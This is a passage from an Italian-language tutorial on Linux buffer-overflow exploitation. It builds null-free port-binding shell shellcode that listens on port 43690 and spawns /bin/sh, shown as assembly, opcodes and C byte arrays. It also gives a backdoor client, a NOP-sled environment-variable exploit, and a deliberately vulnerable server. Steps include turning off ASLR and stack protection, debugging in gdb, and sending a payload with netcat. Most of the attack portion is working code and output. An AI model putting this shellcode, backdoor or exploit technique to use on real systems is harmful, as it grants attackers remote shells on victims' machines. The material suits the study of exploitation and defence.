// now, compile and disassemble the exe file. // next, we look for struct sockaddr_in structure in stack come si vedrà lavorare con le strutture in assembly non è poi così difficile, il concetto di struttura del C viene praticamente perso. Procediamo come solito alla compilazione e al disassemblaggio dell'eseguibile per vedere le operazioni a basso livello che dovremo riscriverci in assembly; ricordatevi le opportune opzioni per il compilatore, vedo di inserirvi dei commenti. root@HackLab:# gcc -ggdb -static test08.c -o test root@HackLab:# gdb test Dump of assembler code for function main: **************************************************** // Prologo di main 0x08048230 <main+0>: lea 0x4(%esp),%ecx 0x08048234 <main+4>: and $0xfffffff0,%esp 0x08048237 <main+7>: pushl -0x4(%ecx) **************************************************** // Salvataggio del frame pointer nello stack subito dopo l'indirizzo di ritorno 0x0804823a <main+10>: push %ebp 0x0804823b <main+11>: mov %esp,%ebp **************************************************** // fork() 0x0804823d <main+13>: push %ecx 0x0804823e <main+14>: sub $0x14,%esp 0x08048241 <main+17>: call 0x804e580 <fork> **************************************************** // socket() 0x08048246 <main+22>: test %eax,%eax 0x08048248 <main+24>: jne 0x804833c <main+268> 0x0804824e <main+30>: movw $0x2,0x80c6068 0x08048257 <main+39>: movl $0x0,0x80c606c 0x08048261 <main+49>: movw $0xaaaa,0x80c606a 0x0804826a <main+58>: movl $0x6,0x8(%esp) 0x08048272 <main+66>: movl $0x1,0x4(%esp) 0x0804827a <main+74>: movl $0x2,(%esp) 0x08048281 <main+81>: call 0x804f770 <socket> **************************************************** // bind() 0x08048286 <main+86>: mov %eax,0x80c6078 0x0804828b <main+91>: mov $0x80c6068,%eax 0x08048290 <main+96>: mov 0x80c6078,%edx 0x08048296 <main+102>: movl $0x10,0x8(%esp) 0x0804829e <main+110>: mov %eax,0x4(%esp) 0x080482a2 <main+114>: mov %edx,(%esp) 0x080482a5 <main+117>: call 0x804f670 <bind> **************************************************** // listen() 0x080482aa <main+122>: mov 0x80c6078,%eax 0x080482af <main+127>: movl $0x1,0x4(%esp) 0x080482b7 <main+135>: mov %eax,(%esp) 0x080482ba <main+138>: call 0x804f6f0 <listen> **************************************************** // accept() 0x080482bf <main+143>: mov 0x80c6078,%eax Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 31 di 193
System exploitation using buffer overflow
0x080482c4 <main+148>: movl $0x0,0x8(%esp) 0x080482cc <main+156>: movl $0x0,0x4(%esp) 0x080482d4 <main+164>: mov %eax,(%esp) 0x080482d7 <main+167>: call 0x804f610 <accept> *************************************************** // dup2() 0x080482dc <main+172>: mov %eax,0x80c6064 0x080482e1 <main+177>: mov 0x80c6064,%eax 0x080482e6 <main+182>: movl $0x0,0x4(%esp) 0x080482ee <main+190>: mov %eax,(%esp) 0x080482f1 <main+193>: call 0x804ead0 <dup2> *************************************************** // dup2() 0x080482f6 <main+198>: mov 0x80c6064,%eax 0x080482fb <main+203>: movl $0x1,0x4(%esp) 0x08048303 <main+211>: mov %eax,(%esp) 0x08048306 <main+214>: call 0x804ead0 <dup2> *************************************************** // dup2() 0x0804830b <main+219>: mov 0x80c6064,%eax 0x08048310 <main+224>: movl $0x2,0x4(%esp) 0x08048318 <main+232>: mov %eax,(%esp) 0x0804831b <main+235>: call 0x804ead0 <dup2> *************************************************** // execve() 0x08048320 <main+240>: movl $0x0,0x8(%esp) 0x08048328 <main+248>: movl $0x0,0x4(%esp) 0x08048330 <main+256>: movl $0x80a6848,(%esp) 0x08048337 <main+263>: call 0x804e810 <execve> *************************************************** // Epilogo di main 0x0804833c <main+268>: add $0x14,%esp 0x0804833f <main+271>: pop %ecx 0x08048340 <main+272>: pop %ebp 0x08048341 <main+273>: lea -0x4(%ecx),%esp 0x08048344 <main+276>: ret End of assembler dump. Dopo un pò di pratica nello scrivere shellcode, mi è venuto quasi naturale scrivere le istruzioni assembly già ottimizzate senza byte nulli. Il seguente è il codice assembly in sintassi AT&T. --------- sh_port_binding.S -----------------------// sh port Binding backdoor by Matteo Tosato - Febbraio 2010 .text .globl main main: xor %eax, %eax mov $0x2, %al int $0x80 test %eax, %eax je DEAMON xorl %ebx, %ebx movl %ebx, %eax incl %eax
// // // // // //
Azzero EAX Sistemo 2 (_NR_fork) in AL fork() if(fork() == 0), il processo figlio salta la exit() La solita exit(0)
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 32 di 193
System exploitation using buffer overflow
int $0x80
// Termino il processo padre
// Le chiamate a socket(), bind() e le altre che trattano i socket in assembly devono // essere chiamate utilizzando la funzione di famiglia principale socketcall, la sintassi è: // int socketcall(int call, unsigned long *args) // dove il primo argomento è un numero che identifica la funzione. // Quelle che ci interessano sono: // socket(1),bind(2),listen(4) e accept(5). Il secondo argomento è un puntatore agli // argomenti effettivi della funzione, da allocare nello stack. DEAMON: xorl %ecx, %ecx xorl %eax, %eax xorl %ebx, %ebx pushl %ecx // pushl $0x6 // IPPROTO_TCP pushl $0x1 // SOCK_STREAM pushl $0x2 // AF_INET movl %esp, %ecx // *args in ECX movb $0x1, %bl // n° socketcall socket mov $0x66, %al // Sistemo 102 (_NR_socketcall) in AL int $0x80 // interrupt socket() movl %eax, %ecx // sposto il socket ritornato in ECX xorl %eax, %eax xorl %ebx, %ebx pushl %eax pushl %eax pushl %eax pushw $0xaaaa movb $0x2, %bl pushw %bx movl %esp, %edx movb $0x10, %bl pushl %ebx movb $0x2, %bl pushl %edx pushl %ecx movl %ecx, %edx movl %esp, %ecx movb $0x66, %al int $0x80
// // // // // // // // // // // // // // // // // //
Azzero EAX Azzero EBX 0 0 0 porta = 43690 sin_family = 2
xorl %ebx, %ebx cmpl %eax, %ebx je SKIP_EXIT xorl %ebx, %ebx mov %ebx, %eax inc %eax int $0x80
// // // // // // //
effettuo un controllo sul risultato di bind() se bind termina con successo salto a "SKIP_EXIT" altrimenti esco Azzero EAX Copio 0 in EBX Incremento EAX interrupt exit()
SKIP_EXIT: xorl %eax, %eax incl %eax pushl %eax pushl %edx movl %esp, %ecx movb $0x4, %bl
// // // // // //
Azzero EAX Incremento EAX, (EAX = 1) 2° arg. - max numero di client in coda 1° arg. - socket Posiziono puntatore arg. n° socketcall listen
Cima dello stack in EDX 3° arg, dimensione della struttura ovvero 16 bytes 3° arg. nello stack - dim. sockaddr_in n° socketcall bind 2° arg. nello stack - sockaddr_in 1° arg, socket - socket Copio socket in edx, per dopo Posiziono puntatore arg. Sistemo 102 (_NR_socketcall) in AL bind()
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 33 di 193
System exploitation using buffer overflow
movb $0x66, %al int $0x80
// Sistemo 102 (_NR_socketcall) in AL // interrupt listen()
xorl %eax, %eax xorl %ebx, %ebx pushl %eax pushl %eax pushl %edx movl %esp, %ecx movb $0x5, %bl movb $0x66, %al int $0x80
// Azzero...
movl %eax, %ebx
// New socket
// // // // // // //
0 nello stack, 2° arg. di accept() 0 nello stack, 3° arg. di accept() socket, 1° arg. Posiziono puntatore arg. n° socketcall accept Sistemo 102 (_NR_socketcall) in AL interrupt accept()
// int dup2(int oldfd, int newfd); xorl %eax, %eax xorl %ecx, %ecx push $0x3f pop %eax int $0x80
// // // // //
Azzero EAX Azzero ECX, il 2° argomento di dup2 (stdin)
xorl %eax, %eax incl %ecx push $0x3f pop %eax int $0x80
// // // // //
Azzero EAX ora stdout
xorl %eax, %eax incl %ecx push $0x3f pop %eax int $0x80
// // // // //
Azzero EAX ora stderr
Sistemo 63 (_NR_dup2) in AL interrupt dup2()
Sistemo 63 (_NR_dup2) in AL interrupt dup2()
Sistemo 63 (_NR_dup2) in AL interrupt dup2()
// int execve(const char *filename, char *const argv[], char *const envp[]); xorl push push movl mov
%eax, %eax $0x2f68732f $0x6e69622f %esp, %ebx %al, 0x7(%ebx)
push %eax push %ebx mov %esp, %ecx cltd mov $0xb, %al int $0x80
// // // // // // // // // // // //
Azzero eax Inserisco la codifica di "/sh/" nello stack Inserisco la codifica di "/bin" nello stack Prelevo dallo stack l'indirizzo della stringa "/bin/sh/" Inserisco il byte terminatore di stringa alla fine ottenendo cosi la stringa C regolare: "/bin/sh\0" Inserisco eax nello stack Inserisco ebx nello stack la stringa Prelevo dallo stack e posiziono in ecx la stringa converte una Dword in una Qword, lasciata in EDX:EAX Muovo il valore 11 dec. in eax (sys_call execve() ) Interrupt execve()
xorl %ebx, %ebx mov %ebx, %eax inc %eax int $0x80
// // // //
Azzero eax Copio 0 in ebx Incremento eax interrupt exit()
--------- sh_port_binding.S END -----------------------Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 34 di 193
System exploitation using buffer overflow
Ora compiliamo il nuovo sorgente creando il file oggetto, successivamente utilizziamo objdump per ricavare nel modo solito gli opcode, facendo attenzione che non vi siamo byte nulli. (ricordatevi di testare l'assembly!!) In tal caso occorre cambiare le istruzioni che li hanno generati e rifare il procedimento. root@HackLab:# gcc -s -c sh_port_binding.S root@HackLab:# objdump -d sh_port_binding.o sh_port_binding.o:
file format elf32-i386
Disassembly of section .text: 00000000 <main>: 0: 31 c0 2: b0 02 4: cd 80 6: 85 c0 8: 74 07 a: 31 db c: 89 d8 e: 40 f: cd 80
xor mov int test je xor mov inc int
%eax,%eax $0x2,%al $0x80 %eax,%eax 11 <DEAMON> %ebx,%ebx %ebx,%eax %eax $0x80
00000011 <DEAMON>: 11: 31 c9 13: 31 c0 15: 31 db 17: 51 18: 6a 06 1a: 6a 01 1c: 6a 02 1e: 89 e1 20: b3 01 22: b0 66 24: cd 80 26: 89 c1 28: 31 c0 2a: 31 db 2c: 50 2d: 50 2e: 50 2f: 66 68 aa aa 33: b3 02 35: 66 53 37: 89 e2 39: b3 10 3b: 53 3c: b3 02 3e: 52 3f: 51 40: 89 ca 42: 89 e1 44: b0 66 46: cd 80 48: 31 db 4a: 39 c3
xor xor xor push push push push mov mov mov int mov xor xor push push push pushw mov push mov mov push mov push push mov mov mov int xor cmp
%ecx,%ecx %eax,%eax %ebx,%ebx %ecx $0x6 $0x1 $0x2 %esp,%ecx $0x1,%bl $0x66,%al $0x80 %eax,%ecx %eax,%eax %ebx,%ebx %eax %eax %eax $0xaaaa $0x2,%bl %bx %esp,%edx $0x10,%bl %ebx $0x2,%bl %edx %ecx %ecx,%edx %esp,%ecx $0x66,%al $0x80 %ebx,%ebx %eax,%ebx
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 35 di 193
System exploitation using buffer overflow
4c: 4e: 50: 52: 53:
74 31 89 40 cd
07 db d8 80
00000055 <SKIP_EXIT>: 55: 31 c0 57: 40 58: 50 59: 52 5a: 89 e1 5c: b3 04 5e: b0 66 60: cd 80 62: 31 c0 64: 31 db 66: 50 67: 50 68: 52 69: 89 e1 6b: b3 05 6d: b0 66 6f: cd 80 71: 89 c3 73: 31 c0 75: 31 c9 77: 6a 3f 79: 58 7a: cd 80 7c: 31 c0 7e: 41 7f: 6a 3f 81: 58 82: cd 80 84: 31 c0 86: 41 87: 6a 3f 89: 58 8a: cd 80 8c: 31 c0 8e: 68 2f 73 68 2f 93: 68 2f 62 69 6e 98: 89 e3 9a: 88 43 07 9d: 50 9e: 53 9f: 89 e1 a1: 99 a2: b0 0b a4: cd 80 a6: 31 db a8: 89 d8 aa: 40 ab: cd 80
je xor mov inc int
55 <SKIP_EXIT> %ebx,%ebx %ebx,%eax %eax $0x80
xor inc push push mov mov mov int xor xor push push push mov mov mov int mov xor xor push pop int xor inc push pop int xor inc push pop int xor push push mov mov push push mov cltd mov int xor mov inc int
%eax,%eax %eax %eax %edx %esp,%ecx $0x4,%bl $0x66,%al $0x80 %eax,%eax %ebx,%ebx %eax %eax %edx %esp,%ecx $0x5,%bl $0x66,%al $0x80 %eax,%ebx %eax,%eax %ecx,%ecx $0x3f %eax $0x80 %eax,%eax %ecx $0x3f %eax $0x80 %eax,%eax %ecx $0x3f %eax $0x80 %eax,%eax $0x2f68732f $0x6e69622f %esp,%ebx %al,0x7(%ebx) %eax %ebx %esp,%ecx $0xb,%al $0x80 %ebx,%ebx %ebx,%eax %eax $0x80
A questo punto possiamo ricavarci gli opcode. Mettiamo tutto in un array e testiamo con un Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 36 di 193
System exploitation using buffer overflow
puntatore a funzione. --------- test0A.c -----------------------// Test for cntpb_sh #include <stdio.h> char array[] = “\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80” “\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01” “\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa” “\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52\x51\x89\xca\x89\xe1” “\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80” “\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb” “\x50\x50\x52\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9” “\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a” “\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89” “\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8” “\x40\xcd\x80"; void main() { printf(“Port binding 43690 BACKDOOR,\n” “by Matteo Tosato - Febbraio 2010 - code size: %d",sizeof(array)); printf("\n\n"); (*(void(*)()) array)(); } --------- test0A.c END --------------------La backdoor rimane muta sul sistema vittima perchè tutti gli stream standard sono stati chiusi dalle fuzioni dup2(). Una volta fatto eseguire controlliamo che sia in esecuzione veramente controllando il processo con: root@HackLab:# ps -A | test0A Se è tutto ok, significa che vi sarà un socket in ascolto alla porta 43690. Con un semplice client possiamo collegarci: --------- client.c -----------------------// Client per backdoor Matteo Tosato, Febbraio 2010. // Utilizzare questo client per connettersi alla backdoor installata sulla vittima attraverso l'exploit. #include #include #include #include #include #include #include #include #include
<stdio.h> <stdlib.h> <string.h> <sys/socket.h> <netinet/in.h> <sys/types.h> <sys/select.h> <unistd.h> <netdb.h>
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 37 di 193
System exploitation using buffer overflow
#define BUFF_SIZE 2048 #define PORT 43690 //MACROs: #define MAX(a,b) ((a)>(b)?(a):(b)) // functions prototypes: void prompt(FILE*,int);
//socket I/O management
int main(int argc, char *argv[]) { if(argc < 1) {fprintf(stderr,"Name Host required!\n"); exit(-1);} int sock; char*host = argv[1]; struct sockaddr_in myaddr; struct hostent* he; // **** Resolving Hostname ********************** if((he = gethostbyname(host)) == NULL) { perror("gethostbyname"); exit(-1); } // ************************************************ myaddr.sin_family = AF_INET; myaddr.sin_addr = *((struct in_addr *)he->h_addr); myaddr.sin_port = PORT; if((sock = socket(AF_INET,SOCK_STREAM,0)) <= 0) {perror("socket"); return(-1);} if(connect(sock,(struct sockaddr *)&myaddr,sizeof(myaddr)) == -1) { perror("connect"); return(-1); } prompt(stdin,sock); } void prompt(FILE* fp, int sock) { int maxfd; char send_buffer[BUFF_SIZE], recv_buffer[BUFF_SIZE]; fd_set rset; printf("\n ***** Client for backdoor v1.0 by Tosato Matteo - Febbraio 2010 ****** \n$ "); FD_ZERO(&rset); while(1) { FD_SET(fileno(fp),&rset); FD_SET(sock,&rset); maxfd = MAX(fileno(fp),sock)+1; select(maxfd,&rset,NULL,NULL,NULL); if(FD_ISSET(sock,&rset)) { memset(recv_buffer,0,sizeof(recv_buffer)); Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 38 di 193
System exploitation using buffer overflow
if(read(sock,recv_buffer,BUFF_SIZE) <= 0) { perror("read"); exit(-1); } fprintf(stdout,"%s\n$ ",recv_buffer); fflush(stdout); } if(FD_ISSET(fileno(fp),&rset)) { memset(send_buffer,0,sizeof(send_buffer)); if(fgets(send_buffer,BUFF_SIZE,fp) == NULL) return; if(write(sock,send_buffer,strlen(send_buffer)+1) <= 0) { perror("write"); exit(-1); } } } } --------- client.c END --------------------Può capitare delle volte che il buffer che abbiamo a disposizione sia troppo piccolo, difatti la nostra chellcode in questo caso è parecchio grande. Per ovviare a questo problema possono essere utilizzate le variabili d'ambiente del sistema. Il seguente esempio mostra un exploit sempre locale che sfrutta questa tecnica, --------- test0B.c -----------------------#include <stdio.h> #define LARGE_SIZE 612 char large[LARGE_SIZE]; char shellcode[]= // Port binding shellcode by Matteo Tosato - Febbraio 2010 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb” Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 39 di 193
System exploitation using buffer overflow
“\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01” “\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb” “\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53” “\xb3\x02\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3” “\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc0\x40\x50\x52\x89\xe1” “\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52\x89\xe1\xb3” “\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80” “\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80” “\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43" "\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\x90\x90\x90”; long get_sp() { __asm__("movl %esp, %eax"); } void main(int argc, char*argv[]) { system("clear"); int h; long *large_ptr = (long*)large; int offset = atoi(argv[1]); long ptr = get_sp() - offset; // offset tra ESP e buffer small printf("\nUsing address: 0x%X\n",ptr); for(h=0;h<sizeof(large);h+=4) *(large_ptr++) = ptr; for(h=0;h<strlen(shellcode);h++) large[h] = shellcode[h]; large[LARGE_SIZE-1] = '\0'; memcpy(large,"EGG=",4); putenv(large); system("/bin/sh"); } --------- test0B.c END --------------------0x09] (Arch: LINUX) - Esempio exploit remoto Up Vediamo di concretizzare. Le basi le abbiamo affrontate. Ora vediamo come può essere eseguito un exploit nella realtà. Abbiamo sempre e solo visto exploit locali. Il concetto di vulnerabilità rimane lo stesso. Occorre trovare nell'applicazione un punto in cui l'exploit è possibile, una vulnerabilità. Abbiamo già visto di cosa si tratta. Noi vedremo il caso più semplice, ovvero immaginiamo di avere in mano i sorgenti dell'applicazione vulnerabile. Nella realtà non è sempre così, molti software sono distribuiti già compilati ed i sorgenti non sono di pubblico dominio. Per ora vedrò di realizzare un server multithreaded che non offre nessun servizio. Ci serve solo abbia un problema di possibile buffer overflow. I dati da inviare verso il server nel punto in cui la vulnerabilità è sfruttabile si costituiscono di tre parti: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 40 di 193
System exploitation using buffer overflow
- La sequenza di NOP - La shellcode - L'indirizzo di ritorno Come sapete, l'indirizzo di ritorno inserito nel buffer di attacco dovrà andare a sovrascrivere il return address di qualche funzione salvato nello stack. Questa è l'operazione più complessa. Sapere anche solo approssimatamente il valore assunto da questo indirizzo sull'host remoto è molto difficile. Una buona analisi dell'obiettivo può permetterci di individuare la versione di software e sistema operativo remoto. Questo aumenta le nostre possibilità di successo perchè ci permette di poter riprodurre a casa nostra un obiettivo il più simile possibile e effettuare un'analisi profonda ed un debug accurato. Ma veniamo al nostro server, Questo possiede una vulnerabilità causata dall'utilizzo errato delle dimensioni di due buffer. La sovrascrittura si verifica in prossimità della solita funzione strcpy() Il codice: --------- main.c -----------------------#include #include #include #include #include #include #include
<stdio.h> <stdlib.h> <string.h> <unistd.h> <sys/socket.h> <netinet/in.h> <pthread.h>
/* This is a vulnerable server. This server contains strcpy() bug. Try to exploiting! Happy Hacking! Matteo Tosato */ #define DEST_BUFFER_SIZE 256 #define WRONG_DEST_BUFFER_SIZE 1024 // << -- Uch! #define NUM_THREADS 10 char recv_buffer[WRONG_DEST_BUFFER_SIZE]; int threads_iterator = 10; pthread_mutex_t mutex; inline unsigned long get_esp() { __asm__("movl %esp, %eax"); } void function_copystring(void*threadid); int main(int argc, char*argv[]) { /* * Mutlithreaded server without real services. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 41 di 193
System exploitation using buffer overflow
* */
Server will send a welcome message to client. if(argc != 2) { fprintf(stderr,"Arguments wrong!\n"); exit(-1); } unsigned short port = atoi(argv[1]); if((port < 1) || (port > 65535)) { fprintf(stderr,"Port number not valid!\n"); } struct sockaddr_in client; struct sockaddr_in localhost; int sock_fd,temp_fd, address_size; localhost.sin_family = AF_INET; localhost.sin_port = htons(port); localhost.sin_addr.s_addr = INADDR_ANY; sock_fd = socket(AF_INET,SOCK_STREAM,0); if(sock_fd < 0) { fprintf(stderr,"Socket() fail!\n"); exit(-1); } if(bind(sock_fd,(struct sockaddr *)&localhost, sizeof(localhost)) < 0) { fprintf(stderr,"bind() fail!\n"); exit(-1); } listen(sock_fd,10); pthread_mutex_init(&mutex, NULL); pthread_t threads[NUM_THREADS]; while(1) { if((temp_fd = accept(sock_fd,(struct sockaddr*)&client, &address_size)) < 0) { fprintf(stderr,"Accept() fail!\n"); exit(-1); } pthread_mutex_lock(&mutex); if(!(threads_iterator > 0)) { pthread_mutex_unlock(&mutex); fprintf(stderr,"Server busy. Not thread available!\n"); close(temp_fd); continue; }
pthread_create(&threads[threads_iterator],NULL,(void*)(function_copystring),(void*)temp_fd); Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 42 di 193
System exploitation using buffer overflow
threads_iterator--; pthread_mutex_unlock(&mutex); close(temp_fd); } } void function_copystring(void*threadid) { printf("ESP: %08X\n",get_esp()); char buffer[DEST_BUFFER_SIZE]; int fd = (int)threadid; if(recv(fd,recv_buffer,WRONG_DEST_BUFFER_SIZE,0) < 0) { fprintf(stderr,"Recv() fail!\n"); pthread_mutex_lock(&mutex); threads_iterator++; pthread_mutex_unlock(&mutex); return; } strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE); // 768 bytes will overwrite stack char welcome_msg[] = "Welcome to remote server\n"; welcome_msg[strlen(welcome_msg)-1] = '\0'; memcpy((void*)buffer,(void*)welcome_msg,strlen(welcome_msg)); if(send(fd,buffer,sizeof(buffer),0) < 0) { fprintf(stderr,"Send() fail!\n"); pthread_mutex_lock(&mutex); threads_iterator++; pthread_mutex_unlock(&mutex); return; } } --------- main.c END --------------------Il thread che si avvia quando arriva una connessione combina un pasticcio, sovrascrive lo stack fino a 768 bytes. Quello che dobbiamo fare è fingerci un client, connetterci ed inviare il payload. Se abbiamo fatto giusti i calcoli; - il server crea un nuovo thread per noi, - riceve il payload, durante la copia questo sovrascrive lo stack, - il payload viene eseguito restituendo una shell che si mette in ascolto sulla porta 43690. Prima di vedere come inviare i dati in modo agevole senza dover scrivere un client apposito, dobbiamo trovare l'indirizzo presunto da dove la nostra shellcode verrà copiata. Questo è il punto più delicato e più difficoltoso dell'operazione. Il fatto che possiamo debuggare il programma obiettivo lo definirei già un lusso. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 43 di 193
System exploitation using buffer overflow
Utilizzeremo gdb; Caratteristiche del mio ambiente: [uname -a] Linux HackLab 2.6.30.9 #1 SMP Tue Dec 1 21:51:08 EST 2009 i686 GNU/Linux (L'analisi seguente cambia da sistema a sistema) Per prima cosa disattiviamo la randomizzazione dello stack abilitata di default sugli ultimi kernel, non ci poniamo ora il problema di come aggirare il sistema di sicurezza, root@HackLab:~# echo 0 > /proc/sys/kernel/randomize_va_space Compiliamo il server disattivando stackguard e senza marcare lo stack in sola lettura, (Questi sono tutti sistemi di sicurezza che ci renderebbero la vita più difficile, vedremo più avanti la questione) root@HackLab:~# gcc -ggdb -pthread -fno-stack-protector -z execstack -o VulnServer main.c Iniziamo il debug, root@HackLab:~# gdb VulnServer GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Settiamo un breakpoint sulla strcpy() incriminata, ed uno nel punto appena precedente al ritorno della funzione. (gdb) break 115 Breakpoint 1 at 0x8048b95: file main.c, line 115. (strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);) (gdb) break 130 Breakpoint 2 at 0x8048cae: file main.c, line 130. (fine della funzione copystring) Avviamo il server sulla porta 65535, (gdb) run 65535 Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer 65535 [Thread debugging using libthread_db enabled] Il server è in ascolto. Dobbiamo connetterci ed inviare qualcosa per arrivare al breakpoint, utilizziamo netcat per falsificare una connessione client e inviare dei dati: root@HackLab:~# echo "vrfy `perl -e print "A" x 1000`" | nc 192.168.0.102 65535 Utilizzando il perl inviamo 1024 byte di dati, siamo ora prima della funzione strcpy(); recuperiamo un pò di informazioni: [New Thread 0xb7e556b0 (LWP 12431)] [New Thread 0xb7e54b90 (LWP 12437)] ESP: B7E54284 [Switching to Thread 0xb7e54b90 (LWP 12437)] Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 44 di 193
System exploitation using buffer overflow
Breakpoint 1, function_copystring (threadid=0x7) at main.c:115 115 strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE); (gdb) print &buffer $1 = (char (*)[256]) 0xb7e542c4 L'indirizzo virtuale di buffer è 0xb7e542c4. Annotiamolo. Proseguiamo con il programma, l'esecuzione si fermerà sul breakpoint numero 2. (gdb) continue Continuing. Send() fail! Breakpoint 2, function_copystring (threadid=0x0) at main.c:130 130 } Send() fallisce. Questo è corretto abbiamo usato netcat, non siamo il client. Diamo un occhio allo stack, (gdb) x/20 $esp 0xb7e54290: 0xb7e542a0: 0xb7e542b0: 0xb7e542c0: 0xb7e542d0:
0x0804a480 0xb7fb4f88 0x6f742065 0x00007265 0x746f6d65
0x00000001 0xb7e54364 0x6d657220 0x636c6557 0x65732065
0x0000000d 0x6557f7c4 0x2065746f 0x20656d6f 0x72657672
0xb7fb0560 0x6d6f636c 0x76726573 0x72206f74 0x00000000
L'indirizzo di buffer è poco sotto esp, non sono stati aggiunti molti byte, infatti come vedete dal sorgente buffer è uno dei primi elementi ad essere allocato. Come ho detto, il fatto di poter vedere i sorgenti è un bel vantaggio. E' buona norma non mettere esattamente l'indirizzo preciso, perchè sul sistema remoto non è detto che le cose siano le medesime. Come abbiamo già visto le istruzioni NOP vengono inserite apposta per avere una certa "tolleranza di errore". Non ci resta che provare. Arrestiamo il debug. Ora vedremo come poter inviare il payload sul server. Scrivere un client in C++ apposito per questo compito non è una grande idea, abbiamo bisogno di poter cambiare agevolmente il nostro client per poter fare vari tentativi nel caso le cose non volgessero subito per il verso giusto. La cosa migliore è affidarsi a linguaggi di scripting come perl, ruby o python. In questo esempio utilizzerò quest'ultimo linguaggio, le cui itruzioni base sono acquisibili in un paio d'ore. Il codice python atto a creare la connessione falsificata ed inviare il payload è il seguente: -------------- script-attack.py -----------# Script-attack # Send payload to vulnerable remote server on TCP socket __author__="Matteo Tosato" __date__ ="$May 10, 2010 2:01:55 AM$" Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 45 di 193
System exploitation using buffer overflow
